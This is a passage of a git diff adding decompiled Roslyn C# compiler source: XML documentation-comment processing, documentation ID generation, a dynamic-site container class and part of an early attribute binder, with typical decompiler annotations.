haveParseError = false; + if (symbol is SynthesizedRecordPropertySymbol recordPropertySymbol) + { + return TryProcessRecordPropertyDocumentation(recordPropertySymbol, docCommentNodes, out withUnprocessedIncludes, out includeElementNodes); + } + ImmutableArray.Enumerator enumerator = docCommentNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + DocumentationCommentTriviaSyntax current = enumerator.Current; + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + bool flag2 = current.SyntaxTree.ReportDocumentationCommentDiagnostics(); + if (!flag) + { + BeginTemporaryString(); + if (_processIncludes) + { + val = ArrayBuilder.GetInstance(); + } + if (!shouldSkipPartialDefinitionComments || _processIncludes) + { + WriteLine("", symbol.GetDocumentationCommentId()); + Indent(); + } + flag = true; + } + string substitutedText = DocumentationCommentWalker.GetSubstitutedText(_compilation, _diagnostics, symbol, current, val, ref documentedParameters, ref documentedTypeParameters); + string text = FormatComment(substitutedText); + XmlException ex = XmlDocumentationCommentTextReader.ParseAndGetException(text); + if (ex != null) + { + haveParseError = true; + if (flag2) + { + Location location = (Location)new SourceLocation(current.SyntaxTree, new TextSpan(((SyntaxNode)current).SpanStart, 0)); + _diagnostics.Add(ErrorCode.WRN_XMLParseError, location, GetDescription(ex)); + } + } + if (!shouldSkipPartialDefinitionComments || _processIncludes) + { + Write(text); + } + } + if (!flag) + { + withUnprocessedIncludes = null; + includeElementNodes = default(ImmutableArray); + return false; + } + if (!shouldSkipPartialDefinitionComments || _processIncludes) + { + Unindent(); + WriteLine(""); + } + withUnprocessedIncludes = GetAndEndTemporaryString(); + includeElementNodes = (_processIncludes ? val.ToImmutableAndFree() : default(ImmutableArray)); + return true; + } + + private static Location GetLocationInTreeReportingDocumentationCommentDiagnostics(Symbol symbol) + { + ImmutableArray.Enumerator enumerator = symbol.Locations.GetEnumerator(); + while (enumerator.MoveNext()) + { + Location current = enumerator.Current; + if (current.SourceTree.ReportDocumentationCommentDiagnostics()) + { + return current; + } + } + return null; + } + + private static ImmutableArray GetParameters(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind <= 9) + { + if ((int)kind == 5 || (int)kind == 9) + { + goto IL_0039; + } + } + else if ((int)kind != 11) + { + if ((int)kind == 15) + { + goto IL_0039; + } + } + else + { + MethodSymbol delegateInvokeMethod = ((NamedTypeSymbol)symbol).DelegateInvokeMethod; + if ((object)delegateInvokeMethod != null) + { + return delegateInvokeMethod.Parameters; + } + } + return ImmutableArray.Empty; + IL_0039: + return symbol.GetParameters(); + } + + private static ImmutableArray GetTypeParameters(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind == 4 || (int)kind == 9 || (int)kind == 11) + { + return symbol.GetMemberTypeParameters(); + } + return ImmutableArray.Empty; + } + + private static bool RequiresDocumentationComment(Symbol symbol) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + if (ShouldSkip(symbol)) + { + return false; + } + while ((object)symbol != null) + { + Accessibility declaredAccessibility = symbol.DeclaredAccessibility; + if ((int)declaredAccessibility == 3 || declaredAccessibility - 5 <= 1) + { + symbol = symbol.ContainingType; + continue; + } + return false; + } + return true; + } + + private bool TryGetDocumentationCommentNodes(Symbol symbol, out DocumentationMode maxDocumentationMode, out ImmutableArray nodes) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Invalid comparison between Unknown and I4 + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + maxDocumentationMode = (DocumentationMode)0; + nodes = default(ImmutableArray); + ArrayBuilder val = null; + DiagnosticBag val2 = ((BindingDiagnosticBag)_diagnostics).DiagnosticBag ?? DiagnosticBag.GetInstance(); + ImmutableArray.Enumerator enumerator = symbol.DeclaringSyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference current = enumerator.Current; + DocumentationMode documentationMode = current.SyntaxTree.Options.DocumentationMode; + maxDocumentationMode = (DocumentationMode)(((int)documentationMode <= (int)maxDocumentationMode) ? ((int)maxDocumentationMode) : ((int)documentationMode)); + ImmutableArray.Enumerator enumerator2 = SourceDocumentationCommentUtils.GetDocumentationCommentTriviaFromSyntaxNode((CSharpSyntaxNode)(object)current.GetSyntax(default(CancellationToken)), val2).GetEnumerator(); + while (enumerator2.MoveNext()) + { + DocumentationCommentTriviaSyntax current2 = enumerator2.Current; + if (ContainsXmlParseDiagnostic(current2)) + { + val?.Free(); + return false; + } + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.Add(current2); + } + } + if (val2 != ((BindingDiagnosticBag)_diagnostics).DiagnosticBag) + { + val2.Free(); + } + if (val == null) + { + nodes = ImmutableArray.Empty; + } + else + { + val.Sort((IComparer)Comparer); + nodes = val.ToImmutableAndFree(); + } + return true; + } + + private static bool ContainsXmlParseDiagnostic(DocumentationCommentTriviaSyntax node) + { + if (!((SyntaxNode)node).ContainsDiagnostics) + { + return false; + } + foreach (Diagnostic diagnostic in node.GetDiagnostics()) + { + if (diagnostic.Code == 1570) + { + return true; + } + } + return false; + } + + private string FormatComment(string substitutedText) + { + BeginTemporaryString(); + if (TrimmedStringStartsWith(substitutedText, "///")) + { + WriteFormattedSingleLineComment(substitutedText); + } + else + { + string[] array = substitutedText.Split(s_newLineSequences, StringSplitOptions.None); + int num = array.Length; + if (string.IsNullOrEmpty(array[num - 1])) + { + num--; + } + WriteFormattedMultiLineComment(array, num); + } + return GetAndEndTemporaryString(); + } + + private static int GetIndexOfFirstNonWhitespaceChar(string str) + { + return GetIndexOfFirstNonWhitespaceChar(str, 0, str.Length); + } + + private static int GetIndexOfFirstNonWhitespaceChar(string str, int start, int end) + { + while (start < end && SyntaxFacts.IsWhitespace(str[start])) + { + start++; + } + return start; + } + + private static bool TrimmedStringStartsWith(string str, string prefix) + { + int indexOfFirstNonWhitespaceChar = GetIndexOfFirstNonWhitespaceChar(str); + if (str.Length - indexOfFirstNonWhitespaceChar < prefix.Length) + { + return false; + } + for (int i = 0; i < prefix.Length; i++) + { + if (prefix[i] != str[i + indexOfFirstNonWhitespaceChar]) + { + return false; + } + } + return true; + } + + private static int IndexOfNewLine(string str, int start, out int newLineLength) + { + while (start < str.Length) + { + switch (str[start]) + { + case '\r': + if (start + 1 < str.Length && str[start + 1] == '\n') + { + newLineLength = 2; + } + else + { + newLineLength = 1; + } + return start; + case '\n': + newLineLength = 1; + return start; + } + start++; + } + newLineLength = 0; + return start; + } + + private void WriteFormattedSingleLineComment(string text) + { + bool flag = true; + int num = 0; + while (num < text.Length) + { + int newLineLength; + int num2 = IndexOfNewLine(text, num, out newLineLength); + int indexOfFirstNonWhitespaceChar = GetIndexOfFirstNonWhitespaceChar(text, num, num2); + if (num2 - indexOfFirstNonWhitespaceChar < 4 || !SyntaxFacts.IsWhitespace(text[indexOfFirstNonWhitespaceChar + 3])) + { + flag = false; + break; + } + num = num2 + newLineLength; + } + int num3 = (flag ? 4 : 3); + int num4 = 0; + while (num4 < text.Length) + { + int newLineLength2; + int num5 = IndexOfNewLine(text, num4, out newLineLength2); + int num6 = GetIndexOfFirstNonWhitespaceChar(text, num4, num5) + num3; + WriteSubStringLine(text, num6, num5 - num6); + num4 = num5 + newLineLength2; + } + } + + private void WriteFormattedMultiLineComment(string[] lines, int numLines) + { + bool flag = lines[0].Trim() == "/**"; + bool flag2 = lines[numLines - 1].Trim() == "*/"; + if (flag2) + { + numLines--; + } + int startIndex = 0; + if (numLines > 1) + { + string text = FindMultiLineCommentPattern(lines[1]); + if (text != null) + { + bool flag3 = true; + for (int i = 2; i < numLines; i++) + { + string text2 = LongestCommonPrefix(text, lines[i]); + if (string.IsNullOrWhiteSpace(text2)) + { + flag3 = false; + break; + } + text = text2; + } + if (flag3) + { + startIndex = text.Length; + } + } + } + if (!flag) + { + string text3 = lines[0].TrimStart(null); + if (!flag2 && numLines == 1) + { + text3 = TrimEndOfMultiLineComment(text3); + } + WriteLine(text3.Substring(text3.StartsWith("/** ") ? 4 : (text3.StartsWith("/**") ? 3 : (text3.StartsWith("* ") ? 2 : (text3.StartsWith("*") ? 1 : 0))))); + } + for (int j = 1; j < numLines; j++) + { + string text4 = lines[j].Substring(startIndex); + if (!flag2 && j == numLines - 1) + { + text4 = TrimEndOfMultiLineComment(text4); + } + WriteLine(text4); + } + } + + private static string TrimEndOfMultiLineComment(string trimmed) + { + int num = trimmed.IndexOf("*/", StringComparison.Ordinal); + if (num >= 0) + { + trimmed = trimmed.Substring(0, num); + } + return trimmed; + } + + private static string FindMultiLineCommentPattern(string line) + { + int num = 0; + bool flag = false; + foreach (char c in line) + { + if (SyntaxFacts.IsWhitespace(c)) + { + num++; + continue; + } + if (flag || c != '*') + { + break; + } + num++; + flag = true; + } + if (!flag) + { + return null; + } + return line.Substring(0, num); + } + + private static string LongestCommonPrefix(string str1, string str2) + { + int i = 0; + for (int num = Math.Min(str1.Length, str2.Length); i < num && str1[i] == str2[i]; i++) + { + } + return str1.Substring(0, i); + } + + private static string GetDocumentationCommentId(CrefSyntax crefSyntax, Binder binder, BindingDiagnosticBag diagnostics) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxNode)crefSyntax).ContainsDiagnostics) + { + return ToBadCrefString(crefSyntax); + } + Symbol ambiguityWinner; + ImmutableArray immutableArray = binder.BindCref(crefSyntax, out ambiguityWinner, diagnostics); + Symbol symbol; + switch (immutableArray.Length) + { + case 0: + return ToBadCrefString(crefSyntax); + case 1: + symbol = immutableArray[0]; + break; + default: + symbol = ambiguityWinner; + break; + } + if ((int)symbol.Kind == 0) + { + symbol = ((AliasSymbol)symbol).GetAliasTarget(null); + } + if (symbol is NamespaceSymbol ns) + { + diagnostics.AddAssembliesUsedByNamespaceReference(ns); + } + else + { + diagnostics.AddDependencies((symbol as TypeSymbol) ?? symbol.ContainingType); + } + return symbol.OriginalDefinition.GetDocumentationCommentId(); + } + + private static string ToBadCrefString(CrefSyntax cref) + { + using StringWriter stringWriter = new StringWriter(CultureInfo.InvariantCulture); + ((SyntaxNode)cref).WriteTo((TextWriter)stringWriter); + return "!:" + stringWriter.ToString().Replace("{", "<").Replace("}", ">"); + } + + private static void BindName(XmlNameAttributeSyntax syntax, Binder binder, Symbol memberSymbol, ref HashSet documentedParameters, ref HashSet documentedTypeParameters, BindingDiagnosticBag diagnostics) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + XmlNameAttributeElementKind elementKind = syntax.GetElementKind(); + switch (elementKind) + { + case XmlNameAttributeElementKind.Parameter: + if (documentedParameters == null) + { + documentedParameters = new HashSet(); + } + break; + case XmlNameAttributeElementKind.TypeParameter: + if (documentedTypeParameters == null) + { + documentedTypeParameters = new HashSet(); + } + break; + } + IdentifierNameSyntax identifier = syntax.Identifier; + if (((SyntaxNode)identifier).ContainsDiagnostics) + { + return; + } + CompoundUseSiteInfo useSiteInfo = binder.GetNewCompoundUseSiteInfo(diagnostics); + ImmutableArray immutableArray = binder.BindXmlNameAttribute(syntax, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)syntax, useSiteInfo); + if (immutableArray.IsEmpty) + { + switch (elementKind) + { + case XmlNameAttributeElementKind.Parameter: + diagnostics.Add(ErrorCode.WRN_UnmatchedParamTag, ((SyntaxNode)identifier).Location, identifier); + break; + case XmlNameAttributeElementKind.ParameterReference: + diagnostics.Add(ErrorCode.WRN_UnmatchedParamRefTag, ((SyntaxNode)identifier).Location, identifier, memberSymbol); + break; + case XmlNameAttributeElementKind.TypeParameter: + diagnostics.Add(ErrorCode.WRN_UnmatchedTypeParamTag, ((SyntaxNode)identifier).Location, identifier); + break; + case XmlNameAttributeElementKind.TypeParameterReference: + diagnostics.Add(ErrorCode.WRN_UnmatchedTypeParamRefTag, ((SyntaxNode)identifier).Location, identifier, memberSymbol); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)elementKind); + } + return; + } + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + switch (elementKind) + { + case XmlNameAttributeElementKind.Parameter: + { + ParameterSymbol parameterSymbol = (ParameterSymbol)current; + if (!parameterSymbol.ContainingSymbol.IsAccessor() && !documentedParameters.Add(parameterSymbol)) + { + diagnostics.Add(ErrorCode.WRN_DuplicateParamTag, ((SyntaxNode)syntax).Location, identifier); + } + break; + } + case XmlNameAttributeElementKind.TypeParameter: + if (!documentedTypeParameters.Add((TypeParameterSymbol)current)) + { + diagnostics.Add(ErrorCode.WRN_DuplicateTypeParamTag, ((SyntaxNode)syntax).Location, identifier); + } + break; + } + } + } + + private void BeginTemporaryString() + { + if (_temporaryStringBuilders == null) + { + _temporaryStringBuilders = new Stack(); + } + _temporaryStringBuilders.Push(new TemporaryStringBuilder(_indentDepth)); + } + + private string GetAndEndTemporaryString() + { + TemporaryStringBuilder temporaryStringBuilder = _temporaryStringBuilders.Pop(); + _indentDepth = temporaryStringBuilder.InitialIndentDepth; + return temporaryStringBuilder.Pooled.ToStringAndFree(); + } + + private void Indent() + { + _indentDepth++; + } + + private void Unindent() + { + _indentDepth--; + } + + private void Write(string indentedAndWrappedString) + { + if (_temporaryStringBuilders != null && _temporaryStringBuilders.Count > 0) + { + _temporaryStringBuilders.Peek().Pooled.Builder.Append(indentedAndWrappedString); + } + else if (_writer != null) + { + _writer.Write(indentedAndWrappedString); + } + } + + private void WriteLine(string message) + { + Stack temporaryStringBuilders = _temporaryStringBuilders; + if (temporaryStringBuilders != null && temporaryStringBuilders.Count > 0) + { + StringBuilder builder = _temporaryStringBuilders.Peek().Pooled.Builder; + builder.Append(MakeIndent(_indentDepth)); + builder.AppendLine(message); + } + else if (_writer != null) + { + _writer.Write(MakeIndent(_indentDepth)); + _writer.WriteLine(message); + } + } + + private void WriteSubStringLine(string message, int start, int length) + { + Stack temporaryStringBuilders = _temporaryStringBuilders; + if (temporaryStringBuilders != null && temporaryStringBuilders.Count > 0) + { + StringBuilder builder = _temporaryStringBuilders.Peek().Pooled.Builder; + builder.Append(MakeIndent(_indentDepth)); + builder.Append(message, start, length); + builder.AppendLine(); + } + else if (_writer != null) + { + _writer.Write(MakeIndent(_indentDepth)); + for (int i = 0; i < length; i++) + { + _writer.Write(message[start + i]); + } + _writer.WriteLine(); + } + } + + private void WriteLine(string format, params object[] args) + { + WriteLine(string.Format(format, args)); + } + + private static string MakeIndent(int depth) + { + return depth switch + { + 0 => "", + 1 => " ", + 2 => " ", + 3 => " ", + _ => new string(' ', depth * 4), + }; + } + + private static string GetDescription(XmlException e) + { + string message = e.Message; + try + { + string text = string.Format(new ResourceManager("System.Xml", typeof(XmlException).GetTypeInfo().Assembly).GetString("Xml_MessageWithErrorPosition"), "", e.LineNumber, e.LinePosition); + int num = message.IndexOf(text, StringComparison.Ordinal); + return (num < 0) ? message : message.Remove(num, text.Length); + } + catch + { + return message; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DocumentationCommentIDVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DocumentationCommentIDVisitor.cs new file mode 100644 index 0000000..a8aec2f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DocumentationCommentIDVisitor.cs @@ -0,0 +1,304 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DocumentationCommentIDVisitor : CSharpSymbolVisitor +{ + private sealed class PartVisitor : CSharpSymbolVisitor + { + internal static readonly PartVisitor Instance = new PartVisitor(inParameterOrReturnType: false); + + private static readonly PartVisitor s_parameterOrReturnTypeInstance = new PartVisitor(inParameterOrReturnType: true); + + private readonly bool _inParameterOrReturnType; + + private PartVisitor(bool inParameterOrReturnType) + { + _inParameterOrReturnType = inParameterOrReturnType; + } + + public override object VisitArrayType(ArrayTypeSymbol symbol, StringBuilder builder) + { + Visit(symbol.ElementType, builder); + if (symbol.IsSZArray) + { + builder.Append("[]"); + } + else + { + builder.Append("[0:"); + for (int i = 0; i < symbol.Rank - 1; i++) + { + builder.Append(",0:"); + } + builder.Append(']'); + } + return null; + } + + public override object VisitField(FieldSymbol symbol, StringBuilder builder) + { + Visit(symbol.ContainingType, builder); + builder.Append('.'); + builder.Append(symbol.Name); + return null; + } + + private void VisitParameters(ImmutableArray parameters, bool isVararg, StringBuilder builder) + { + builder.Append('('); + bool flag = false; + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (flag) + { + builder.Append(','); + } + Visit(current, builder); + flag = true; + } + if (isVararg && flag) + { + builder.Append(','); + } + builder.Append(')'); + } + + public override object VisitMethod(MethodSymbol symbol, StringBuilder builder) + { + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Invalid comparison between Unknown and I4 + Visit(symbol.ContainingType, builder); + builder.Append('.'); + builder.Append(GetEscapedMetadataName(symbol)); + if (symbol.Arity != 0) + { + builder.Append("``"); + builder.Append(symbol.Arity); + } + if (symbol.Parameters.Any() || symbol.IsVararg) + { + s_parameterOrReturnTypeInstance.VisitParameters(symbol.Parameters, symbol.IsVararg, builder); + } + if ((int)symbol.MethodKind == 2) + { + builder.Append('~'); + s_parameterOrReturnTypeInstance.Visit(symbol.ReturnType, builder); + } + return null; + } + + public override object VisitProperty(PropertySymbol symbol, StringBuilder builder) + { + Visit(symbol.ContainingType, builder); + builder.Append('.'); + builder.Append(GetEscapedMetadataName(symbol)); + if (symbol.Parameters.Any()) + { + s_parameterOrReturnTypeInstance.VisitParameters(symbol.Parameters, isVararg: false, builder); + } + return null; + } + + public override object VisitEvent(EventSymbol symbol, StringBuilder builder) + { + Visit(symbol.ContainingType, builder); + builder.Append('.'); + builder.Append(GetEscapedMetadataName(symbol)); + return null; + } + + public override object VisitTypeParameter(TypeParameterSymbol symbol, StringBuilder builder) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + int num = 0; + Symbol containingSymbol = symbol.ContainingSymbol; + if ((int)containingSymbol.Kind == 9) + { + builder.Append("``"); + } + else + { + NamedTypeSymbol containingType = containingSymbol.ContainingType; + while ((object)containingType != null) + { + num += containingType.Arity; + containingType = containingType.ContainingType; + } + builder.Append('`'); + } + builder.Append(symbol.Ordinal + num); + return null; + } + + public override object VisitNamedType(NamedTypeSymbol symbol, StringBuilder builder) + { + if ((object)symbol.ContainingSymbol != null && symbol.ContainingSymbol.Name.Length != 0) + { + Visit(symbol.ContainingSymbol, builder); + builder.Append('.'); + } + builder.Append(symbol.Name); + if (symbol.Arity != 0) + { + if (!_inParameterOrReturnType && TypeSymbol.Equals(symbol, symbol.ConstructedFrom, (TypeCompareKind)63)) + { + builder.Append('`'); + builder.Append(symbol.Arity); + } + else + { + builder.Append('{'); + bool flag = false; + ImmutableArray.Enumerator enumerator = symbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + if (flag) + { + builder.Append(','); + } + Visit(current.Type, builder); + flag = true; + } + builder.Append('}'); + } + } + return null; + } + + public override object VisitPointerType(PointerTypeSymbol symbol, StringBuilder builder) + { + Visit(symbol.PointedAtType, builder); + builder.Append('*'); + return null; + } + + public override object VisitNamespace(NamespaceSymbol symbol, StringBuilder builder) + { + if ((object)symbol.ContainingNamespace != null && symbol.ContainingNamespace.Name.Length != 0) + { + Visit(symbol.ContainingNamespace, builder); + builder.Append('.'); + } + builder.Append(symbol.Name); + return null; + } + + public override object VisitParameter(ParameterSymbol symbol, StringBuilder builder) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + Visit(symbol.Type, builder); + if ((int)symbol.RefKind != 0) + { + builder.Append('@'); + } + return null; + } + + public override object VisitErrorType(ErrorTypeSymbol symbol, StringBuilder builder) + { + return VisitNamedType(symbol, builder); + } + + public override object VisitDynamicType(DynamicTypeSymbol symbol, StringBuilder builder) + { + builder.Append("System.Object"); + return null; + } + + private static string GetEscapedMetadataName(Symbol symbol) + { + string metadataName = symbol.MetadataName; + int num = metadataName.IndexOf("::", StringComparison.Ordinal); + int num2 = ((num >= 0) ? (num + 2) : 0); + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + instance.Builder.Append(metadataName, num2, metadataName.Length - num2); + instance.Builder.Replace('.', '#').Replace('<', '{').Replace('>', '}'); + return instance.ToStringAndFree(); + } + } + + public static readonly DocumentationCommentIDVisitor Instance = new DocumentationCommentIDVisitor(); + + private DocumentationCommentIDVisitor() + { + } + + public override object DefaultVisit(Symbol symbol, StringBuilder builder) + { + return null; + } + + public override object VisitNamespace(NamespaceSymbol symbol, StringBuilder builder) + { + if (!symbol.IsGlobalNamespace) + { + builder.Append("N:"); + PartVisitor.Instance.Visit(symbol, builder); + } + return null; + } + + public override object VisitMethod(MethodSymbol symbol, StringBuilder builder) + { + builder.Append("M:"); + PartVisitor.Instance.Visit(symbol, builder); + return null; + } + + public override object VisitField(FieldSymbol symbol, StringBuilder builder) + { + builder.Append("F:"); + PartVisitor.Instance.Visit(symbol, builder); + return null; + } + + public override object VisitEvent(EventSymbol symbol, StringBuilder builder) + { + builder.Append("E:"); + PartVisitor.Instance.Visit(symbol, builder); + return null; + } + + public override object VisitProperty(PropertySymbol symbol, StringBuilder builder) + { + builder.Append("P:"); + PartVisitor.Instance.Visit(symbol, builder); + return null; + } + + public override object VisitNamedType(NamedTypeSymbol symbol, StringBuilder builder) + { + builder.Append("T:"); + PartVisitor.Instance.Visit(symbol, builder); + return null; + } + + public override object VisitDynamicType(DynamicTypeSymbol symbol, StringBuilder builder) + { + return DefaultVisit(symbol, builder); + } + + public override object VisitErrorType(ErrorTypeSymbol symbol, StringBuilder builder) + { + builder.Append("!:"); + PartVisitor.Instance.Visit(symbol, builder); + return null; + } + + public override object VisitTypeParameter(TypeParameterSymbol symbol, StringBuilder builder) + { + builder.Append("!:"); + builder.Append(symbol.Name); + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DynamicSiteContainer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DynamicSiteContainer.cs new file mode 100644 index 0000000..08f4c14 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DynamicSiteContainer.cs @@ -0,0 +1,41 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DynamicSiteContainer : SynthesizedContainer, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly MethodSymbol _topLevelMethod; + + public override Symbol ContainingSymbol => _topLevelMethod.ContainingSymbol; + + public override TypeKind TypeKind => (TypeKind)2; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/DynamicSiteContainer.cs", 36); + } + } + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => true; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => (IMethodSymbolInternal)(object)_topLevelMethod; + + internal DynamicSiteContainer(string name, MethodSymbol topLevelMethod, MethodSymbol containingMethod) + : base(name, containingMethod) + { + _topLevelMethod = topLevelMethod; + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EarlyWellKnownAttributeBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EarlyWellKnownAttributeBinder.cs new file mode 100644 index 0000000..7354a5c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/EarlyWellKnownAttributeBinder.cs @@ -0,0 +1,97 @@ +using System; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class EarlyWellKnownAttributeBinder : Binder +{ + internal EarlyWellKnownAttributeBinder(Binder enclosing) + : base(enclosing, enclosing.Flags | BinderFlags.EarlyAttributeBinding) + { + } + + internal (CSharpAttributeData, BoundAttribute) GetAttribute(AttributeSyntax node, NamedTypeSymbol boundAttributeType, Action beforeAttributePartBound, Action afterAttributePartBound, out bool generatedDiagnostics) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + (CSharpAttributeData, BoundAttribute) attribute = base.GetAttribute(node, boundAttributeType, beforeAttributePartBound, afterAttributePartBound, instance); + generatedDiagnostics = !((BindingDiagnosticBag)instance).DiagnosticBag.IsEmptyWithoutResolution; + ((BindingDiagnosticBag)(object)instance).Free(); + return attribute; + } + + [Obsolete("EarlyWellKnownAttributeBinder has a better overload - GetAttribute(AttributeSyntax, NamedTypeSymbol, out bool)", true)] + internal new (CSharpAttributeData, BoundAttribute) GetAttribute(AttributeSyntax node, NamedTypeSymbol boundAttributeType, Action beforeAttributePartBound, Action afterAttributePartBound, BindingDiagnosticBag diagnostics) + { + diagnostics.Add(ErrorCode.ERR_InternalError, ((SyntaxNode)node).Location); + return base.GetAttribute(node, boundAttributeType, beforeAttributePartBound, afterAttributePartBound, diagnostics); + } + + internal static bool CanBeValidAttributeArgument(ExpressionSyntax node) + { + //IL_0186: Unknown result type (might be due to invalid IL or missing references) + //IL_018b: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.ObjectCreationExpression: + case SyntaxKind.ImplicitObjectCreationExpression: + { + BaseObjectCreationExpressionSyntax baseObjectCreationExpressionSyntax = (BaseObjectCreationExpressionSyntax)node; + if (baseObjectCreationExpressionSyntax.Initializer == null) + { + return (baseObjectCreationExpressionSyntax.ArgumentList?.Arguments.Count ?? 0) == 0; + } + return false; + } + case SyntaxKind.IdentifierName: + case SyntaxKind.QualifiedName: + case SyntaxKind.GenericName: + case SyntaxKind.AliasQualifiedName: + case SyntaxKind.PredefinedType: + case SyntaxKind.ParenthesizedExpression: + case SyntaxKind.ConditionalExpression: + case SyntaxKind.InvocationExpression: + case SyntaxKind.CastExpression: + case SyntaxKind.InterpolatedStringExpression: + case SyntaxKind.AddExpression: + case SyntaxKind.SubtractExpression: + case SyntaxKind.MultiplyExpression: + case SyntaxKind.DivideExpression: + case SyntaxKind.ModuloExpression: + case SyntaxKind.LeftShiftExpression: + case SyntaxKind.RightShiftExpression: + case SyntaxKind.LogicalOrExpression: + case SyntaxKind.LogicalAndExpression: + case SyntaxKind.BitwiseOrExpression: + case SyntaxKind.BitwiseAndExpression: + case SyntaxKind.ExclusiveOrExpression: + case SyntaxKind.EqualsExpression: + case SyntaxKind.NotEqualsExpression: + case SyntaxKind.LessThanExpression: + case SyntaxKind.LessThanOrEqualExpression: + case SyntaxKind.GreaterThanExpression: + case SyntaxKind.GreaterThanOrEqualExpression: + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.UnsignedRightShiftExpression: + case SyntaxKind.UnaryPlusExpression: + case SyntaxKind.UnaryMinusExpression: + case SyntaxKind.BitwiseNotExpression: + case SyntaxKind.LogicalNotExpression: + case SyntaxKind.NumericLiteralExpression: + case SyntaxKind.StringLiteralExpression: + case SyntaxKind.CharacterLiteralExpression: + case SyntaxKind.TrueLiteralExpression: + case SyntaxKind.FalseLiteralExpression: + case SyntaxKind.NullLiteralExpression: + case SyntaxKind.Utf8StringLiteralExpression: + case SyntaxKind.TypeOfExpression: + case SyntaxKind.SizeOfExpression: 